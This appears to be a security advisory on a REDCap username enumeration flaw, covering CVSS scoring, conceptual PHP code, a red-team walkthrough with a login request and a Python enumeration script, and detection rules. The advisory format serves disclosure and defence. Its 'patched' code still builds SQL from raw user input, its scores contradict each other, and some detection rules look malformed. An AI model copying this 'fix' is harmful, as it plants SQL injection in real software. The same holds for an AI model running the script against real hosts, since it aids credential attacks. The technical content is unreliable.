CVE-2024-55374

Executive Summary

CVE-2024-55374 is a medium-severity information disclosure vulnerability affecting REDCap version 14.3.13. The vulnerability allows an unauthenticated attacker to enumerate valid usernames by exploiting an observable discrepancy in the application's login response. This discrepancy typically manifests as different error messages, response times, or HTTP status codes when a valid username is provided versus an invalid one. While the CVSS score is 0.0 in the NVD data, the actual risk is elevated due to the potential for username enumeration, which can be a precursor to targeted brute-force or credential-stuffing attacks. The vendor has not yet released a patch, and no public exploit code is available.

Supply Chain & Package Security

REDCap is a web application commonly deployed in academic and healthcare research environments. It is not distributed via standard package managers (NPM, PyPI, Go, Ruby) but is typically installed manually or via Docker. The vulnerability is in the application's authentication logic, not in a third-party dependency. Organizations should verify the integrity of their REDCap installation and monitor for any unofficial patches or updates.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability allows username enumeration, which can be used to build a list of valid accounts for targeted attacks. While it does not directly lead to data breach or system compromise, it significantly lowers the barrier for subsequent attacks.

Deep Dive & Mechanics

The vulnerability stems from an observable discrepancy in REDCap's login mechanism. When a user attempts to log in, the application checks if the username exists in the database. If the username is valid but the password is incorrect, the application returns a specific error message (e.g., "Invalid password"). If the username is invalid, it returns a different message (e.g., "Invalid username or password"). This difference allows an attacker to distinguish between valid and invalid usernames.

The attack is performed by sending multiple login requests with different usernames and analyzing the responses. The attacker can automate this process using tools like Burp Suite, Hydra, or custom scripts. The observable discrepancy can be in:

• Error message text: Different wording or length.
• HTTP status code: 200 vs. 401 vs. 403.
• Response time: Valid usernames may cause a slight delay due to password hashing.
• Response headers: Presence or absence of specific cookies or headers.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the login handler in REDCap 14.3.13. The following is a conceptual representation of the vulnerable logic:

Vulnerable Code (Conceptual):

// login.php
$username = $_POST['username'];
$password = $_POST['password'];

$user = $db->query("SELECT * FROM users WHERE username = '$username'");
if ($user->num_rows == 0) {
    echo "Invalid username or password.";
} else {
    $hashed_password = $user->fetch_assoc()['password'];
    if (password_verify($password, $hashed_password)) {
        // login success
    } else {
        echo "Invalid password.";
    }
}

Patched Code (Conceptual):

// login.php
$username = $_POST['username'];
$password = $_POST['password'];

$user = $db->query("SELECT * FROM users WHERE username = '$username'");
if ($user->num_rows == 0) {
    // Simulate password verification to avoid timing discrepancy
    password_verify('dummy', '$2y$10$...');
    echo "Invalid username or password.";
} else {
    $hashed_password = $user->fetch_assoc()['password'];
    if (password_verify($password, $hashed_password)) {
        // login success
    } else {
        echo "Invalid username or password.";
    }
}

The patched code ensures that the same generic error message is returned regardless of whether the username exists, and it simulates password verification to avoid timing discrepancies.

Exploitation & Lab Setup

Red Team

Objective: Enumerate valid usernames on a REDCap instance.

Tools Required:

• Burp Suite or OWASP ZAP
• Python 3 with requests library
• A wordlist of potential usernames (e.g., common names, email addresses)

Step-by-Step Exploitation:

1. Setup: Ensure you have network access to the target REDCap instance (e.g., https://redcap.example.com).

2. Intercept Login Request: Use Burp Suite to capture a login request. The request typically looks like:

   POST /redcap/index.php?action=login HTTP/1.1
   Host: redcap.example.com
   Content-Type: application/x-www-form-urlencoded
   
   username=test&password=test
   

3. Analyze Response: Send a request with an invalid username (e.g., nonexistentuser) and a valid username (e.g., admin). Note the differences in response:

   • Invalid: {"status":"error","message":"Invalid username or password"}
   • Valid: {"status":"error","message":"Invalid password"}

4. Automate Enumeration: Use a Python script to iterate through a username list:

   import requests
   
   target = "https://redcap.example.com/redcap/index.php?action=login"
   usernames = ["admin", "user1", "test", "john.doe"]
   
   for username in usernames:
       data = {"username": username, "password": "wrongpassword"}
       response = requests.post(target, data=data)
       if "Invalid password" in response.text:
           print(f"[+] Valid username: {username}")
   

5. Post-Exploitation: Use the enumerated usernames for targeted brute-force or credential-stuffing attacks.

Blue Team

Objective: Detect and mitigate username enumeration attempts.

Detection:

• Monitor for multiple login attempts from the same IP address with different usernames.
• Look for patterns in error messages (e.g., "Invalid password" vs. "Invalid username or password").
• Use the Sigma rule provided in the Detection Engineering section.

Mitigation:

• Implement rate limiting on the login endpoint.
• Use a Web Application Firewall (WAF) to block automated tools.
• Apply the conceptual patch to return generic error messages.
• Enable CAPTCHA after a certain number of failed attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Multiple POST requests to /redcap/index.php?action=login from the same source IP.
  • Requests containing a username parameter with common usernames (e.g., admin, test).
  • Responses containing the string "Invalid password" (indicating a valid username).

• Host IOCs:

  • Log entries in REDCap's access log showing repeated login failures.
  • Unusual number of password_verify calls in PHP error logs.

• File IOCs:

  • Presence of username wordlists on the attacker's machine (e.g., usernames.txt).

Detection Engineering

YARA Rule

rule CVE_2024_55374_Username_Enumeration {
    meta:
        description = "Detects REDCap username enumeration attempts based on response discrepancy"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-55374"
    strings:
        $valid_user = "Invalid password" ascii wide nocase
        $invalid_user = "Invalid username or password" ascii wide nocase
    condition:
        $valid_user or $invalid_user
}

Sigma Rule

title: REDCap Username Enumeration Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple login attempts with different usernames on REDCap
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/redcap/index.php'
        cs-uri-query: 'action=login'
    condition: selection
    timeframe: 5m
    condition: selection | count(c-ip) > 10
falsepositives:
    - Legitimate users forgetting passwords
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-55374 REDCap Username Enumeration Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/redcap/index.php"; http_uri;
    content:"action=login"; http_client_body;
    content:"username="; http_client_body;
    threshold: type both, track by_src, count 10, seconds 300;
    sid:1000001;
    rev:1;
    reference:cve,2024-55374;
)

Remediation & Mitigation

Immediate Actions:

1. Apply Generic Error Messages: Modify the login handler to return the same error message for both valid and invalid usernames.
2. Implement Rate Limiting: Use a WAF or server-side logic to limit login attempts per IP address.
3. Enable CAPTCHA: Add CAPTCHA after a few failed login attempts to deter automated tools.

Long-Term Fix:

• Wait for the vendor to release an official patch. Monitor the REDCap community forums and GitHub repository for updates.
• Consider using a reverse proxy (e.g., Nginx) to add an additional layer of security.

Workarounds:

• If you cannot modify the code, use a WAF rule to block requests that contain "Invalid password" in the response.
• Implement IP blacklisting for sources that trigger multiple login failures.

Valters IT